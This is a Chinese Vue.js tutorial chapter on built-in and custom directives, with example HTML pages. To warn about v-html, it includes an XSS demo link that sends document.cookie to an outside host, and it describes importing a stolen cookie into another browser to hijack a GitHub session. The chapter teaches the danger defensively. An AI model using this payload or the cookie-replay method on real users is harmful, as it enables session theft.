13.1 内置指令

之前学过的指令:
v-bind 单向绑定解析表达式,可简写为:
v-model 双向数据绑定
v-for 遍历数组 / 对象 / 字符串
v-on 绑定事件监听,可简写为@
v-show 条件渲染 (动态控制节点是否展示)
v-if 条件渲染(动态控制节点是否存存在)
v-else-if 条件渲染(动态控制节点是否存存在)
v-else 条件渲染(动态控制节点是否存存在)

13.1.1 v-text 指令

v-text指令

  • 作用:向其所在的节点中渲染文本内容
  • 与插值语法的区别:v-text会替换掉节点中的内容,{{xxx}}则不会,更灵活

    代码演示

    1. <!DOCTYPE html>
    2. <html>
    3. <head>
    4. <meta charset="UTF-8" />
    5. <title>v-text指令</title>
    6. <!-- 引入Vue -->
    7. <script type="text/javascript" src="../js/vue.js"></script>
    8. </head>
    9. <body>
    10. <!-- 准备好一个容器-->
    11. <div id="root">
    12. <div>你好,{{name}}</div>
    13. <div v-text="name"></div>
    14. <div v-text="str"></div>
    15. </div>
    16. </body>
    17. <script type="text/javascript">
    18. Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    19. new Vue({
    20. el:'#root',
    21. data:{
    22. name:'尚硅谷',
    23. str:'<h3>你好啊!</h3>'
    24. }
    25. })
    26. </script>
    27. </html>

    演示效果

    image.png

    13.1.2 v-html 指令

    **v-html**指令

  • 作用:向指定节点中渲染包含html结构的内容

  • 与插值语法的区别:
    • **v-html**会替换掉节点中所有的内容,**{{xxx}}**则不会
    • **v-html**可以识别**html**结构
  • 严重注意**v-html**有安全性问题!!!
    • 在网站上动态渲染任意**html**是非常危险的,容易导致 **XSS**攻击
    • 一定要在可信的内容上使用**v-html**,永远不要用在用户提交的内容上!!!

      代码演示

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-html指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
        <!-- 准备好一个容器-->
        <div id="root">
            <div>你好,{{name}}</div>
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                name:'尚硅谷',
                str:'<h3>你好啊!</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
            }
        })
    </script>
</html>

先给浏览器添加 cookie,cookie 就是身份的验证
image.png
cookie 会作为参数传到跳转的服务器上
image.png

cookie 简略

下面以 github 为例:

  • 在第一次请求的时候,服务器将有些服务信息传给浏览器作为 cookie ,cookie 作为客户端身份的标识。
  • 浏览器发起第二次请求的时候,会带着服务器第一次给的数据生成的 cookie 返回给服务器,作为身份的验证,这样就不需要服务器的再次验证
  • 如果其他人知道你的 cookie 就可以虚拟你的身份进行访问。

image.png
cookie 是不能跨浏览器的
image.png

cookie 测试

在浏览器中登录 github 查询 cookie
image.png
使用插件将 cookie 导出
image.png
打开一个新的浏览器,用浏览器插件将cookie 导入
image.png
导入后刷新页面,github 就是登录状态了

13.1.3 v-cloak 指令

v-cloak指令(没有值)

  • 本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉**v-cloak**属性
  • 使用**css**配合**v-cloak**可以解决网速慢时页面展示出**{{xxx}}**的问题

    代码演示

    <!DOCTYPE html>
    <html>
      <head>
          <meta charset="UTF-8" />
          <title>v-cloak指令</title>
          <style>
              [v-cloak]{
                  display:none;
              }
          </style>
          <!-- 引入Vue -->
      </head>
      <body>
          <!-- 准备好一个容器-->
          <div id="root">
              <h2 v-cloak>{{name}}</h2>
          </div>
      <!-- http://localhost:8080/resource/5s/vue.js 是外部js,延迟5秒加载-->
          <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
      </body>
    
      <script type="text/javascript">
          console.log(1)
          Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    
          new Vue({
              el:'#root',
              data:{
                  name:'尚硅谷'
              }
          })
      </script>
    </html>
    

    13.1.4 v-once指令

  1. v-once所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

    代码演示

    <!DOCTYPE html>
    <html>
     <head>
         <meta charset="UTF-8" />
         <title>v-once指令</title>
         <!-- 引入Vue -->
         <script type="text/javascript" src="../js/vue.js"></script>
     </head>
     <body>
         <!-- 准备好一个容器-->
         <div id="root">
             <h2 v-once>初始化的n值是:{{n}}</h2>
             <h2>当前的n值是:{{n}}</h2>
             <button @click="n++">点我n+1</button>
         </div>
     </body>
    
     <script type="text/javascript">
         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    
         new Vue({
             el:'#root',
             data:{
                 n:1
             }
         })
     </script>
    </html>
    

    演示效果

    13-Vue 指令 - 图9

    13.1.4 v-pre指令

  3. 跳过其所在节点的编译过程。

  4. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

    代码演示

    <!DOCTYPE html>
    <html>
     <head>
         <meta charset="UTF-8" />
         <title>v-pre指令</title>
         <!-- 引入Vue -->
         <script type="text/javascript" src="../js/vue.js"></script>
     </head>
     <body>
         <!-- 准备好一个容器-->
         <div id="root">
             <h2 v-pre>Vue其实很简单</h2>
             <h2 >当前的n值是:{{n}}</h2>
             <button @click="n++">点我n+1</button>
         </div>
     </body>
    
     <script type="text/javascript">
         Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    
         new Vue({
             el:'#root',
             data:{
                 n:1
             }
         })
     </script>
    </html>
    

    演示效果

    13.2 自定义指令

    需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
    需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
    一、定义语法:

  5. 局部指令:

    1. 配置对象:new Vue({ directives:{指令名:{}} })
    2. 回调函数:new Vue({ directives{指令名(element,binding){}} })
  6. 全局指令:
    1. Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调:

  1. bind:指令与元素成功绑定时调用。
    1. 调用时机:
      1. 指令与元素成功绑定时(一上来)。
      2. 指令所在的模板被重新解析时。
  2. inserted:指令所在元素被插入页面时调用。
  3. update:指令所在模板结构被重新解析时调用。

三、备注:

  1. 指令定义时不加v-,但使用时要加v-
  2. 指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase命名。使用时要加单引号'kebab-case'

    代码演示

    <!DOCTYPE html>
    <html>
     <head>
         <meta charset="UTF-8" />
         <title>自定义指令</title>
         <script type="text/javascript" src="../js/vue.js"></script>
     </head>
     <body>
         <!-- 准备好一个容器-->
         <div id="root">
             <h2>{{name}}</h2>
             <h2>当前的n值是:<span v-text="n"></span> </h2>
             <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
             <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
             <button @click="n++">点我n+1</button>
             <hr/>
             <input type="text" v-fbind:value="n">
         </div>
     </body>
    
     <script type="text/javascript">
         Vue.config.productionTip = false
    
         //定义全局指令
         /* Vue.directive('fbind',{
             //指令与元素成功绑定时(一上来)
             bind(element,binding){
                 element.value = binding.value
             },
             //指令所在元素被插入页面时
             inserted(element,binding){
                 element.focus()
             },
             //指令所在的模板被重新解析时
             update(element,binding){
                 element.value = binding.value
             }
         }) */
    
         new Vue({
             el:'#root',
             data:{
                 name:'尚硅谷',
                 n:1
             },
             directives:{
                 //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
                 /* 'big-number'(element,binding){
                     // console.log('big')
                     element.innerText = binding.value * 10
                 }, */
                 big(element,binding){
                     console.log('big',this) //注意此处的this是window
                     // console.log('big')
                     element.innerText = binding.value * 10
                 },
                 fbind:{
                     //指令与元素成功绑定时(一上来)
                     bind(element,binding){
                         element.value = binding.value
                     },
                     //指令所在元素被插入页面时
                     inserted(element,binding){
                         element.focus()
                     },
                     //指令所在的模板被重新解析时
                     update(element,binding){
                         element.value = binding.value
                     }
                 }
             }
         })
    
     </script>
    </html>
    

    演示效果

    13-Vue 指令 - 图10

    13.3 回顾 DOM 操作

    了解元素加载的顺序

    <!DOCTYPE html>
    <html>
     <head>
         <meta charset="UTF-8" />
         <title>Document</title>
         <style>
             .demo{
                 background-color: orange;
             }
         </style>
     </head>
     <body>
         <button id="btn">点我创建一个输入框</button>
    
         <script type="text/javascript" >
             const btn = document.getElementById('btn')
             btn.onclick = ()=>{
                 const input = document.createElement('input')
    
                 input.className = 'demo'
                 input.value = 99
                 input.onclick = ()=>{alert(1)}
    
                 document.body.appendChild(input)
    
                 input.focus()
                 // input.parentElement.style.backgroundColor = 'skyblue'
                 console.log(input.parentElement)
    
             }
         </script>
     </body>
    </html>